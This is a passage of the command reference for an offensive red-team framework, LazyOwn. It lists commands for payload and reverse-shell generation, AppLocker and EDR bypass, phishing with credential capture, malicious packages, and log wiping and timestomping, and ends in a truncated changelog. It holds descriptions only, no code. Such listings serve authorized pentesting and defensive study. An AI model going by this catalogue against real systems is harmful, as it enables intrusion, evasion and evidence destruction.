Applies various obfuscations to a given command line string to create multiple obfuscated versions.

encodewinbase64

Phase: misc | Source: cli/commands/misc_migrated.py

Encodes a given payload into a Base64 encoded string suitable for Windows PowerShell execution.

engage

Phase: misc | Source: cli/commands/misc_migrated.py

Drive a single target through the full kill-chain in one command.

exit

Phase: misc | Source: cli/commands/misc_migrated.py

Exit the command line interface.

explore

Phase: misc | Source: cli/commands/misc_migrated.py

Show exploration coverage and addon/tool suggestions per service.

fixel

Phase: misc | Source: cli/commands/misc_migrated.py

Fixes file permissions and line endings in the project directories.

fixperm

Phase: misc | Source: cli/commands/misc_migrated.py

Fix permissions for LazyOwn shell scripts.

gencert

Phase: misc | Source: cli/commands/misc_migrated.py

Generates a certificate authority (CA), client certificate, and client key.

generate

Phase: misc | Source: cli/commands/payload_generation.py

Generate a payload.

getseclist

Phase: misc | Source: cli/commands/misc_migrated.py

Get the SecLists wordlist from GitHub.

god_nodes

Phase: misc | Source: cli/commands/misc_migrated.py

Show the most-connected nodes ("god nodes") from the graph.

graph

Phase: misc | Source: cli/commands/misc_migrated.py

Generates a graph from JSON payload files containing URL, RHOST, and RPORT.

graph_overlay

Phase: misc | Source: cli/commands/misc_migrated.py

Open the graph overlay over the graphify knowledge graph.

graph_search

Phase: misc | Source: cli/commands/misc_migrated.py

Fuzzy search the graphify knowledge graph for nodes by label.

gym

Phase: misc | Source: cli/commands/redteam_gym.py

Red Team Gym — gamified pentest training with ELO scoring.

h

Phase: misc | Source: cli/commands/misc_migrated.py

Open a new window within a tmux session using the LazyOwn RedTeam Framework.

hex_to_plaintext

Phase: misc | Source: cli/commands/misc_migrated.py

Converts hexadecimal data from a file to plain text.

hooks

Phase: misc | Source: cli/commands/automation.py

Conditional hooks management — list, enable, disable, add, remove rules.

hooks_add

Phase: misc | Source: cli/commands/automation.py

Add a new conditional hook rule (JSON string).

hooks_enable

Phase: misc | Source: cli/commands/automation.py

Enable or disable a hook rule.

hooks_fire

Phase: misc | Source: cli/commands/automation.py

Manually fire a hook event for testing.

hooks_list

Phase: misc | Source: cli/commands/automation.py

List all conditional hook rules.

hooks_remove

Phase: misc | Source: cli/commands/automation.py

Remove a hook rule by name.

hunt

Phase: misc | Source: cli/commands/misc_migrated.py

Run an autonomous exploitation chain against a target.

ignorearp

Phase: misc | Source: cli/commands/misc_migrated.py

Configures the system to ignore ARP requests by setting a kernel parameter.

ignoreicmp

Phase: misc | Source: cli/commands/misc_migrated.py

Configures the system to ignore ICMP echo requests by setting a kernel parameter.

ip

Phase: misc | Source: cli/commands/misc_migrated.py

Displays IP addresses of network interfaces and copies the IP address from the tun0 interface to the clipboard.

ip2asn

Phase: misc | Source: cli/commands/misc_migrated.py

Command to get ASN for a given IP address.

ip2hex

Phase: misc | Source: cli/commands/misc_migrated.py

Convert an IPv4 address into its hexadecimal representation.

ipp

Phase: misc | Source: cli/commands/misc_migrated.py

Displays IP addresses of network interfaces and prints the IP address from the tun0 interface.

karma

Phase: misc | Source: cli/commands/misc_migrated.py

Show ELO score, karma rank and exploration progress for this operator.

kick

Phase: misc | Source: cli/commands/misc_migrated.py

Handles the process of sending a spoofed ARP packet to a specified IP address with a given MAC address.

killchain

Phase: misc | Source: cli/commands/misc_migrated.py

Show the unified kill-chain progress and control auto-refresh.

l00t

Phase: misc | Source: cli/commands/misc_migrated.py

Unified loot: show, search, reuse, graph, and mark credentials.

lab

Phase: misc | Source: cli/commands/lab.py

Manage local CTF practice labs.

lazyscript

Phase: misc | Source: cli/commands/misc_migrated.py

Executes commands defined in a lazyscript file.

links

Phase: misc | Source: cli/commands/misc_migrated.py

Displays a list of useful links and allows the user to select and copy a link to the clipboard.

list

Phase: misc | Source: cli/commands/misc_migrated.py

Lists all available scripts in the modules directory.

listaliases

Phase: misc | Source: cli/commands/misc_migrated.py

List all available aliases.

load_session

Phase: misc | Source: cli/commands/misc_migrated.py

Load the session from the sessionLazyOwn.json file and display the status of various parameters.

lock_target

Phase: misc | Source: cli/commands/collaboration.py

Acquire an advisory lock on a target to prevent tool collisions.

login

Phase: misc | Source: cli/commands/cli_auth.py

Authenticate against users.json (same users as lazyc2.py).

logout

Phase: misc | Source: cli/commands/cli_auth.py

Log out the current CLI operator and clear the remember-me token.

lolbas_list

Phase: misc | Source: cli/commands/pwn.py

List available LOLBAS (Living Off The Land) techniques from plugins.

loot

Phase: misc | Source: cli/commands/misc_migrated.py

Alias for l00t — unified loot (show/search/reuse/graph/mark).

makerc

Phase: misc | Source: cli/commands/resource_scripting.py

Record session commands to a resource script.

marketplace

Phase: misc | Source: cli/commands/marketplace.py

Discover and install community plugins, addons, and tools.

marketplace_config

Phase: misc | Source: cli/commands/marketplace.py

Interactive marketplace manager (curses TUI).

mkrc

Phase: misc | Source: cli/commands/resource_scripting.py

Alias for makerc — record commands to a script.

msfshellcoder

Phase: misc | Source: cli/commands/misc_migrated.py

Generate shellcode in C format using msfvenom for either a custom command or a reverse shell payload.

nano

Phase: misc | Source: cli/commands/misc_migrated.py

Opens or creates the file using line in the sessions directory for editing using nano.

neighbors

Phase: misc | Source: cli/commands/misc_migrated.py

Show graph neighbors of a node or command from the graphify graph.

news

Phase: misc | Source: cli/commands/misc_migrated.py

Show the Hacker News in the terminal.

next

Phase: misc | Source: cli/commands/misc_migrated.py

Show next-step recommendations or execute the active autosuggest.

note

Phase: misc | Source: cli/commands/misc_migrated.py

Capture a quick operator note attached to the current target and phase.

notify

Phase: misc | Source: cli/commands/misc_migrated.py

Command to trigger a toastr-like notification.

op_create

Phase: misc | Source: cli/commands/caldera.py

Create a new planned operation.

op_list

Phase: misc | Source: cli/commands/caldera.py

List all operations.

op_pause

Phase: misc | Source: cli/commands/caldera.py

Pause a running operation.

op_plan

Phase: misc | Source: cli/commands/caldera.py

Populate operation steps from a playbook YAML or via MITRE derive.

op_report

Phase: misc | Source: cli/commands/caldera.py

Generate a full report for an operation.

op_resume

Phase: misc | Source: cli/commands/caldera.py

Resume a paused operation.

op_start

Phase: misc | Source: cli/commands/caldera.py

Start (or resume) an operation.

op_status

Phase: misc | Source: cli/commands/caldera.py

Show the status of an operation.

op_stop

Phase: misc | Source: cli/commands/caldera.py

Stop a running operation.

op_timeline

Phase: misc | Source: cli/commands/caldera.py

Show the event timeline of an operation.

operator_create

Phase: misc | Source: cli/commands/automation.py

Create a new operator profile.

operator_delete

Phase: misc | Source: cli/commands/automation.py

Delete an operator profile.

operator_load

Phase: misc | Source: cli/commands/automation.py

Load effective config for an operator (team baseline + overrides).

operators

Phase: misc | Source: cli/commands/automation.py

List all operator profiles.

palette

Phase: misc | Source: cli/commands/misc_migrated.py

Browse the operator command catalogue grouped by kill-chain phase.

palette_k

Phase: misc | Source: cli/commands/misc_migrated.py

Open the fuzzy Command-K palette overlay.

payload

Phase: misc | Source: cli/commands/misc_migrated.py

Load parameters from a specified payload JSON file.

phase

Phase: misc | Source: cli/commands/misc_migrated.py

Get or set the current kill-chain phase.

pipeline

Phase: misc | Source: cli/commands/misc_migrated.py

Declarative composition layer: run a YAML pipeline of LazyOwn commands.

pivot

Phase: misc | Source: cli/commands/misc_migrated.py

Record a newly discovered pivot target or show the pivot chain.

plan

Phase: misc | Source: cli/commands/caldera.py

Pick the next best technique to run for a target.

plan_apply

Phase: misc | Source: cli/commands/caldera.py

Run the planner, then auto-create and start an operation.

plan_detail

Phase: misc | Source: cli/commands/caldera.py

Show the full ranked plan (all candidates) for a target.

pop

Phase: misc | Source: cli/commands/misc_migrated.py

Open a centered popup in the current tmux session to execute a shell command.

prev

Phase: misc | Source: cli/commands/misc_migrated.py

Show prerequisite commands for a verb (the chain's prev arrow).

pwd

Phase: misc | Source: cli/commands/misc_migrated.py

Displays the current working directory and lists files, and copies the current directory path to the clipboard.

qa

Phase: misc | Source: cli/commands/misc_migrated.py

Exits the application quickly without confirmation.

recommend_next

Phase: misc | Source: cli/commands/misc_migrated.py

Recommend the next action via the unified recommendation engine.

register

Phase: misc | Source: cli/commands/cli_auth.py

Register a new operator account in users.json.

resource

Phase: misc | Source: cli/commands/resource_scripting.py

Run an enhanced resource script.

rhost

Phase: misc | Source: cli/commands/misc_migrated.py

Copies the remote host (self.params['rhost']) to the clipboard and updates the command prompt.

rich_tui

Phase: misc | Source: cli/commands/pwn.py

Launch the Rich-based live dashboard TUI.

rot

Phase: misc | Source: cli/commands/misc_migrated.py

Apply a ROT (rotation) substitution cipher to the given string.

rotf

Phase: misc | Source: cli/commands/misc_migrated.py

Apply a ROT (rotation) substitution cipher to the given extension.

rrhost

Phase: misc | Source: cli/commands/misc_migrated.py

Updates the command prompt to include the remote host (self.params['rhost']) and current working directory.

run

Phase: misc | Source: cli/commands/misc_migrated.py

Runs a specific LazyOwn script or active module.

scans

Phase: misc | Source: cli/commands/misc_migrated.py

List nmap scan files in sessions/ with age, size, and open ports.

scope

Phase: misc | Source: cli/commands/misc_migrated.py

Manage the authorized engagement scope and the scope-guard posture.

search

Phase: misc | Source: cli/commands/module_manager.py

Search for modules by name, description, or author.

sh

Phase: misc | Source: cli/commands/misc_migrated.py

Executes a shell command directly from the LazyOwn interface.

share_finding

Phase: misc | Source: cli/commands/collaboration.py

Share a finding or credential discovery with the team.

show

Phase: misc | Source: cli/commands/misc_migrated.py

Show params, modules, payloads, or active module options.

sitrep

Phase: misc | Source: cli/commands/misc_migrated.py

Print a unified operational situation report.

spool

Phase: misc | Source: cli/commands/resource_scripting.py

Log session output to a file.

stealth_off

Phase: misc | Source: cli/commands/pwn.py

Disable stealth mode.

suggest_next

Phase: misc | Source: cli/commands/misc_migrated.py

Suggest next commands by walking the graph from recent activity.

sys

Phase: misc | Source: cli/commands/misc_migrated.py

Executes a shell command directly from the LazyOwn interface.

tab

Phase: misc | Source: cli/commands/misc_migrated.py

Executes the lazypyautogui.py script with optional arguments.

tasks

Phase: misc | Source: cli/commands/misc_migrated.py

View and manage the task queue from sessions/tasks.json.

team_chat

Phase: misc | Source: cli/commands/collaboration.py

Send a message to all connected operators.

team_status

Phase: misc | Source: cli/commands/collaboration.py

Show active operators and target locks.

tenant

Phase: misc | Source: cli/commands/misc_migrated.py

Manage multi-tenancy: list, switch, or create engagement tenants.

tgrep

Phase: misc | Source: cli/commands/misc_migrated.py

Search across all previous command outputs and session logs.

timeline_browser

Phase: misc | Source: cli/commands/misc_migrated.py

Open the timeline scrubber over the session report CSV.

toast_clear

Phase: misc | Source: cli/commands/misc_migrated.py

Mark every pending toast event as seen without printing them.

ttp_matrix

Phase: misc | Source: cli/commands/caldera.py

Render the MITRE ATT&CK coverage matrix across all operations.

ttp_rebuild

Phase: misc | Source: cli/commands/caldera.py

Re-walk the operations directory to refresh the coverage matrix.

ttp_show

Phase: misc | Source: cli/commands/caldera.py

Show details for a single MITRE technique.

tui_theme

Phase: misc | Source: cli/commands/misc_migrated.py

Switch the TUI colour theme used by the splash and styled output.

unlock_target

Phase: misc | Source: cli/commands/collaboration.py

Release an advisory lock on a target.

urldecode

Phase: misc | Source: cli/commands/misc_migrated.py

Decode a URL-encoded string.

urlencode

Phase: misc | Source: cli/commands/misc_migrated.py

Encode a string for URL.

use

Phase: misc | Source: cli/commands/module_manager.py

Select a module to work with.

v

Phase: misc | Source: cli/commands/misc_migrated.py

Open a new window within a tmux session using the LazyOwn RedTeam Framework.

whoami

Phase: misc | Source: cli/commands/cli_auth.py

Show the currently logged-in CLI operator.

wizard

Phase: misc | Source: cli/commands/misc_migrated.py

Guided first-run setup wizard — configure rhost, lhost, domain, wordlists and more.

13. Diagnostics

lazy_payload_keys

Phase: diagnostics | Source: cli/commands/diagnostics.py

List the keys currently present in the parent shell's payload.

lazy_runtime

Phase: diagnostics | Source: cli/commands/diagnostics.py

Print interpreter, platform and core LazyOwn paths.

Uncategorized

GET

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

No description available.

OPTIONS

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

No description available.

POST

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

No description available.

adcs_esc

Phase: uncategorized | Source: cli/commands/active_directory.py

Check Active Directory Certificate Services for ESC1-ESC13 vulnerabilities.

ai_playbook

Phase: uncategorized | Source: cli/commands/ai.py

Generate an offensive playbook from Nmap CSV + KB + Ollama.

ai_toggle

Phase: uncategorized | Source: cli/commands/ai.py

Toggle the in-process AI assistant on or off.

android_apk

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Generate a malicious APK with reverse shell payload.

android_enum

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Enumerate an Android device connected via ADB.

applocker_csc

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate a csc.exe compile-and-execute AppLocker bypass.

applocker_installutil

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate an InstallUtil.exe AppLocker bypass payload.

applocker_msbuild

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate an MSBuild.exe AppLocker bypass payload.

applocker_mshta

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate an mshta.exe AppLocker bypass payload.

applocker_presentation

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate a PresentationHost.exe AppLocker bypass reference.

applocker_regsvcs

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate a Regsvcs.exe/Regasm.exe AppLocker bypass payload.

applocker_rundll32

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate a rundll32.exe AppLocker bypass via SCT scriptlet.

arsenal_show

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Show payload arsenal items.

ask

Phase: uncategorized | Source: cli/commands/ai.py

Ask the AI a question with current session context pre-loaded.

attack_surface

Phase: uncategorized | Source: cli/commands/reporting.py

Generate an attack surface summary from recon data.

audit_complete_keys

Phase: uncategorized | Source: cli/commands/audit.py

Print payload-aware completion suggestions for a partial command.

auditd_disable

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Generate commands to disable Linux auditd.

auto_loop

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Run a goal through the autonomous daemon orchestrator backend.

auto_populate

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Parse the latest nmap XML scan and auto-populate payload context.

autopivot

Phase: uncategorized | Source: cli/commands/pivoting.py

Auto-detect internal networks and set up pivot tunnels.

aws_privesc

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

AWS privilege escalation and enumeration.

bof_catalog

Phase: uncategorized | Source: cli/commands/bof_registry.py

List all BOFs available in the curated catalog.

bof_info

Phase: uncategorized | Source: cli/commands/bof_registry.py

Show detailed information about a BOF.

bof_install

Phase: uncategorized | Source: cli/commands/bof_registry.py

Install and compile a BOF, staging it for beacon delivery.

bof_list

Phase: uncategorized | Source: cli/commands/bof_registry.py

List all installed and staged BOFs.

bof_run

Phase: uncategorized | Source: cli/commands/bof_registry.py

Execute a BOF on a connected beacon.

bof_search

Phase: uncategorized | Source: cli/commands/bof_registry.py

Search the BOF catalog by keyword.

bof_uninstall

Phase: uncategorized | Source: cli/commands/bof_registry.py

Uninstall a BOF and remove its staged file.

c2_dns

Phase: uncategorized | Source: cli/commands/c2_profile.py

Configure or display the DNS beacon profile.

c2_profiles

Phase: uncategorized | Source: cli/commands/c2_profile.py

List all available C2 transport profiles.

c2_rotate

Phase: uncategorized | Source: cli/commands/c2_profile.py

Rotate to the next C2 transport profile in the rotation queue.

c2_tls

Phase: uncategorized | Source: cli/commands/c2_profile.py

Display the current TLS C2 profile.

campaign_sitrep

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Alias of sitrep kept for MCP verb parity (lazyown_campaign_sitrep).

cicd_scan

Phase: uncategorized | Source: cli/commands/cicd.py

Scan CI/CD platform for security misconfigurations.

cicd_secrets

Phase: uncategorized | Source: cli/commands/cicd.py

Scan build log for leaked secrets.

clean_ad

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Clear Active Directory event logs and cached Kerberos tickets.

cloud_buckets

Phase: uncategorized | Source: cli/commands/cloud.py

Enumerate cloud storage buckets for a given prefix.

cloud_enum

Phase: uncategorized | Source: cli/commands/cloud.py

Enumerate cloud provider metadata, storage, and IAM.

cloud_iam

Phase: uncategorized | Source: cli/commands/cloud.py

Enumerate cloud IAM roles and policies.

cloud_metadata

Phase: uncategorized | Source: cli/commands/cloud.py

Harvest cloud instance metadata (AWS IMDS, Azure, GCP).

cloud_scan

Phase: uncategorized | Source: cli/commands/cloud.py

Full cloud security scan: metadata + buckets + IAM enumeration.

container_detect

Phase: uncategorized | Source: cli/commands/containers.py

Auto-detect container runtime and escape primitives.

container_escape

Phase: uncategorized | Source: cli/commands/containers.py

Check current container for known escape vectors.

cover_tracks

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Run all anti-forensics operations in sequence.

crack_hashes

Phase: uncategorized | Source: cli/commands/security.py

Crack password hashes from a file using John the Ripper or Hashcat.

cross_cloud

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

Cross-cloud identity federation attacks.

dacl_abuse

Phase: uncategorized | Source: cli/commands/active_directory.py

Enumerate and exploit dangerous AD DACL/SACL entries.

delegation_attack

Phase: uncategorized | Source: cli/commands/active_directory.py

Display computed delegation attack paths with exploitation commands.

delegation_enum

Phase: uncategorized | Source: cli/commands/active_directory.py

Enumerate Kerberos delegation configurations.

depconfuse

Phase: uncategorized | Source: cli/commands/supply_chain.py

Scan a requirements.txt for dependency confusion candidates.

depscan

Phase: uncategorized | Source: cli/commands/supply_chain.py

Scan a directory tree for dependency files and flag risks.

detect_edr

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Generate commands to detect EDR/AV on the target.

docker_enum

Phase: uncategorized | Source: cli/commands/containers.py

Enumerate Docker host: containers, images, privileges, mounts.

dotnet_payload

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Generate a .NET/C# payload.

edr_detect

Phase: uncategorized | Source: cli/commands/edr_detect.py

Detect EDR/AV products on the target.

edr_profile

Phase: uncategorized | Source: cli/commands/edr_detect.py

Generate an evasion profile based on detected EDR.

edr_script

Phase: uncategorized | Source: cli/commands/edr_detect.py

Generate a PowerShell EDR detection script.

entra_attack

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

Microsoft Entra ID / Azure AD attack operations.

evasion

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Generate and manage C2 evasion profiles.

evasive

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Generate detection-evading payloads with multiple obfuscation strategies.

evasive_payload

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Generate an evasive payload with automatic AV/EDR bypass.

event_log

Phase: uncategorized | Source: lazyown.py

Show recent EventBus events. Usage: event_log [N] [category]

facts_show

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Show structured facts extracted from nmap scans and tool output.

forensic_clean

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Clean forensic artifacts — Prefetch, Shimcache, Amcache, Jump Lists, etc.

form

Phase: uncategorized | Source: cli/commands/audit.py

Open an interactive form for a known command. Usage: form .

fz

Phase: uncategorized | Source: cli/commands/audit.py

Fuzzy command finder. Usage: fz [query]. Empty lists every command.

gcp_privesc

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

GCP privilege escalation and enumeration.

gitlab_enum

Phase: uncategorized | Source: cli/commands/cicd.py

Enumerate a GitLab instance.

gpo_abuse

Phase: uncategorized | Source: cli/commands/active_directory.py

Enumerate and exploit Group Policy Objects.

grep_log

Phase: uncategorized | Source: cli/commands/audit.py

Grep recent command outputs. Usage: grep_log [--cmd ].

groq

Phase: uncategorized | Source: cli/commands/ai.py

Send a prompt to the Groq API using the configured api_key.

jenkins_enum

Phase: uncategorized | Source: cli/commands/cicd.py

Enumerate a Jenkins instance.

k8s_attack

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

Kubernetes attack — RBAC enumeration, pod escape, etcd, persistence.

k8s_enum

Phase: uncategorized | Source: cli/commands/containers.py

Enumerate Kubernetes cluster: pods, secrets, SAs, RBAC.

k8s_pods

Phase: uncategorized | Source: cli/commands/containers.py

List Kubernetes pods with security-relevant details.

k8s_secrets

Phase: uncategorized | Source: cli/commands/containers.py

List and decode Kubernetes secrets.

kerberoast

Phase: uncategorized | Source: cli/commands/active_directory.py

Advanced Kerberoasting — AES-only mode, targeted SPN enumeration.

kerberos_ticket

Phase: uncategorized | Source: cli/commands/active_directory.py

Forge Kerberos tickets for persistence and lateral movement.

linux_advanced_payload

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Generate advanced Linux payloads (LD_PRELOAD, eBPF, PAM, kernel module).

llm_budget

Phase: uncategorized | Source: cli/commands/ai.py

Show the LLM daily cost budget, per call token cap, and current spend.

log_tamper

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Cross-platform log clearing commands.

macos_keychain

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Extract secrets from the macOS Keychain.

macos_payload

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Generate macOS payloads (.app bundles, persistence, TCC bypass).

macos_persist

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Generate macOS persistence via LaunchAgent.

macos_tcc

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Generate macOS TCC (Transparency, Consent, Control) bypass.

memory_clean

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Clean memory artifacts — Kerberos tickets, clipboard, env vars, credentials.

mfa_bypass

Phase: uncategorized | Source: cli/commands/cicd.py

Enumerate and test MFA bypass techniques.

mutate_shellcode

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Apply polymorphic mutation to shellcode for signature evasion.

network_opsec

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Network OPSEC — proxy chains, DoH, canary detection, traffic analysis.

opsec

Phase: uncategorized | Source: cli/commands/security.py

Score OPSEC risk for a LazyOwn command before execution.

opsec_score

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Real-time OPSEC risk assessment with contextual action gating (v2).

orchestrate

Phase: uncategorized | Source: cli/commands/orchestration.py

Route a goal through the unified orchestrator and print the result.

package_squat

Phase: uncategorized | Source: cli/commands/supply_chain.py

Generate a malicious PyPI package for dependency confusion.

parquet_query

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Query the parquet knowledge bases (GTFOBins, LOLBas, ATT&CK, sessions).

pentest_report

Phase: uncategorized | Source: cli/commands/reporting.py

Generate a professional penetration test report.

phish_report

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

Show campaign results and captured credentials.

phish_serve

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

Start a lightweight HTTP server for phishing landing pages.

phish_wizard

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

Interactive end-to-end phishing campaign wizard.

pivot_kill

Phase: uncategorized | Source: cli/commands/pivoting.py

Kill all pivot tunnels and clean up.

pivot_proxy

Phase: uncategorized | Source: cli/commands/pivoting.py

Start a local SOCKS proxy through the pivot chain.

pivot_scan

Phase: uncategorized | Source: cli/commands/pivoting.py

Scan internal networks through the current pivot chain.

pivot_status

Phase: uncategorized | Source: cli/commands/pivoting.py

Show the current pivot chain state.

playbook_run

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Execute a generated YAML playbook step by step through the shell.

polymorphic

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Apply polymorphic mutation to shellcode.

rag_query

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Semantic search over session artefacts (scans, logs, notes).

reload_addons

Phase: uncategorized | Source: cli/commands/audit.py

Re-scan lazyaddons/ and plugins/ for changes; reloads what's new.

rotate_aes

Phase: uncategorized | Source: cli/commands/security.py

Generate a new AES key and re-encrypt all sealed credentials.

route

Phase: uncategorized | Source: lazyown.py

Route a natural-language prompt to a LazyOwn tool. Usage: route

saas_enum

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

Enumerate SaaS platforms — M365, Google Workspace, Salesforce, Slack, ServiceNow.

seal_credentials

Phase: uncategorized | Source: cli/commands/security.py

Encrypt all sensitive values in payload.json using AES-256-GCM.

session_state

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Alias of sitrep kept for MCP verb parity (lazyown_session_state).

set

Phase: uncategorized | Source: lazyown.py

Set a parameter — the unified set/assign surface.

shred

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Securely delete files by overwriting before removal.

sleep_configure

Phase: uncategorized | Source: cli/commands/sleep_obfuscation.py

Configure the active sleep obfuscation technique.

sleep_info

Phase: uncategorized | Source: cli/commands/sleep_obfuscation.py

Show detailed information about a sleep obfuscation technique.

sleep_list

Phase: uncategorized | Source: cli/commands/sleep_obfuscation.py

List available sleep obfuscation techniques.

socks_config

Phase: uncategorized | Source: cli/commands/socks_proxy.py

Show or configure the SOCKS5 proxy.

socks_export

Phase: uncategorized | Source: cli/commands/socks_proxy.py

Export SOCKS5 proxy specification for beacon delivery.

socks_sessions

Phase: uncategorized | Source: cli/commands/socks_proxy.py

List active SOCKS proxy sessions.

staged_delivery

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Generate staged delivery artifacts (HTA, VBA, LNK, ISO, VHD).

state_snapshot

Phase: uncategorized | Source: lazyown.py

Show unified StateManager snapshot (DB + JSON caches).

status_bar

Phase: uncategorized | Source: cli/commands/orchestration.py

Inspect, toggle and refresh the prompt status bar.

status_tail

Phase: uncategorized | Source: cli/commands/audit.py

Print live progress from the latest sessions/scan_*.partial file.

sysmon_disable

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Generate commands to disable Windows Sysmon.

threat_model

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Build or inspect the threat model derived from session events.

timeline

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Alias of timeline_browser kept for MCP verb parity (lazyown_timeline).

timestomp

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Manipulate file MACB timestamps to evade forensic timeline analysis.

unseal_credentials

Phase: uncategorized | Source: cli/commands/security.py

Decrypt sealed credential values in payload.json for inspection.

vuln_list

Phase: uncategorized | Source: cli/commands/reporting.py

List discovered vulnerabilities from the sessions database.

wipe_free

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Wipe free disk space to prevent forensic file recovery.

wipe_logs

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Clear system log files on the remote target.

wipe_timeline

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Scrub file timestamps and shell history on the target.

Changelog

Otros

Otros

• • feature(feat): new world model like source of truth of kill chain to trigger distinct phases \n\n Version: release/0.2.160 \n\n with love to marketplace dashboards, gui2 new graph, yara rules, nucleis rules implements, etc \n\n Modified file(s):\n- .coverage - AGENTS.md - CLAUDE.md - README.md - cli/command_chain.py - cli/commands/bof_registry.py - cli/commands/c2_profile.py - cli/commands/cred_migrated.py - cli/commands/dns_exfil.py - cli/commands/enum.py - cli/commands/estorides.py - cli/commands/exploit_migrated.py - cli/commands/lateral_migrated.py - cli/commands/misc_migrated.py - cli/commands/persist_migrated.py - cli/commands/postexp_migrated.py - cli/commands/privilege_escalation.py - cli/commands/report.py - cli/commands/report_migrated.py - cli/commands/scan_migrated.py - cli/commands/security.py - cli/commands/sleep_obfuscation.py - cli/commands/socks_proxy.py - cli/dashboard_tui.py - cli/engagement_hooks.py - cli/killchain.py - cli/ops_commands.py - cli/reactive_hints.py - cli/recommendation.py - cli/recommendation_signals.py - cli/tips_engine.py - config.json - fast_run_as_r00t.sh - lazyaddons/blacksandbeacon.yaml - lazyaddons/estorides.yaml - lazyc2.py - lazygui/app.py - lazygui/config/c2_credentials.py - lazygui/config/constants.py - lazygui/config/paths.py - lazygui/config/settings.py - lazygui/panels/init.py - lazygui/panels/campaign_panel.py - lazygui/panels/cve_panel.py - lazygui/panels/graph_panel.py - lazygui/panels/history_panel.py - lazygui/panels/killchain_panel.py - lazygui/panels/marketplace_panel.py - lazygui/panels/registry.py - lazygui/panels/sessions_panel.py - lazygui/panels/terminal_panel.py - lazygui/services/init.py - lazygui/services/backend.py - lazygui/services/models.py - lazygui/services/teamserver_backend.py - lazygui/widgets/init.py - lazygui/widgets/beacon_command_modal.py - lazygui/widgets/graph_view.py - lazygui/widgets/terminal_view.py - lazygui/windows/connect_dialog.py - lazygui/windows/main_window.py - lazyown.py - modules/beacon_config_builder.py - modules/beacon_history.py - modules/bof_registry.py - modules/c2_builder.py - modules/c2_profile_engine.py - modules/conditional_hooks.py - modules/estorides_importer.py - modules/gui.py - modules/kill_chain_viz.py - modules/killchain.py - modules/lazyown_bridge.py - modules/report_templates.py - modules/sessions/llm_budget.json - modules/sleep_obfuscation.py - modules/socks_proxy.py - modules/world_model.py - sessions/implant/implant_crypt.go - sessions/implant/stub.c - sessions/implant/stub_lin.c - sessions/phishing/campaigns/short_urls.json - skills/hermes-lazyown/constants.py - templates/index.html - templates/nav.html - tests/run_mutation_killchain.py - tests/test_beacon_config_builder.py - tests/test_beacon_history.py - tests/test_bof_registry.py - tests/test_c2_profile_engine.py - tests/test_categories.py - tests/test_command_set_migration.py - tests/test_conditional_hooks_extended.py - tests/test_killchain_auto_refresh.py - tests/test_killchain_gap_signal.py - tests/test_killchain_snapshot.py - tests/test_killchain_unified.py - tests/test_killchain_unified_v2.py - tests/test_lazygui_backend.py - tests/test_lazygui_graph_widget.py - tests/test_lazygui_models.py - tests/test_ops_loot_phase.py - tests/test_sleep_obfuscation.py - tests/test_socks_proxy.py - tests/test_world_model_extended.py - users.json - utils.py\nCreated file(s):\n- .coverage - cli/commands/bof_registry.py - cli/commands/c2_profile.py - cli/commands/estorides.py - cli/commands/sleep_obfuscation.py - cli/commands/socks_proxy.py - lazygui/config/c2_credentials.py - lazygui/panels/campaign_panel.py - lazygui/panels/cve_panel.py - lazygui/panels/graph_panel.py - lazygui/panels/history_panel.py - lazygui/panels/marketplace_panel.py - 